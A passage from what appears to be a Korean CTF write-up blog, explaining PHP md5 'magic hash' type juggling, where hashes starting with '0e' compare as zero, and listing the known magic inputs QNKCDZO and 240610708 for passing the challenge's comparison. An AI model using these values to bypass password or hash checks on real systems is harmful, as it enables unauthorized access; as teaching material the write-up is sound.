만약 비교가 정상적이라면 Flag를 토해냅니다.


이제 문제를 풀어보도록 합시다.




 

 문제 풀이


일단 이번 문제를 풀기 앞서 md5의 취약점을 보도록 합시다.


 

 md5 취약점(md5에서 나타날 수 있는 취약점)


PHP의 md5함수는 다음과 같은 취약점을 가지고 있습니다.


만약 md5 함수를 이용하여 나온 해쉬값이 0e로 시작하여 뒤의 값이 모두 숫자인 경우, 다음과 같은 결과값으로 바뀌게 됩니다.


0e462097431906509019562988736854 ==> 0.0 ==> 0


이렇게 되면 숫자 0으로 인식하게 됩니다.


이러한 해쉬를 매직해쉬라고도 하는데, md5는 잘 알려진 매직해쉬가 2개가 있습니다.


문자열로만 이루어진 매직해쉬 : QNKCDZO

숫자로만 이루어진 매직해쉬 : 240610708


이 두 값을 비교하여 검사를 해보면 다음과 같습니다.

그렇다면 이제 이 값들을 이용하여 문제를 풀어보도록 합시다.


앙!




+ Recent posts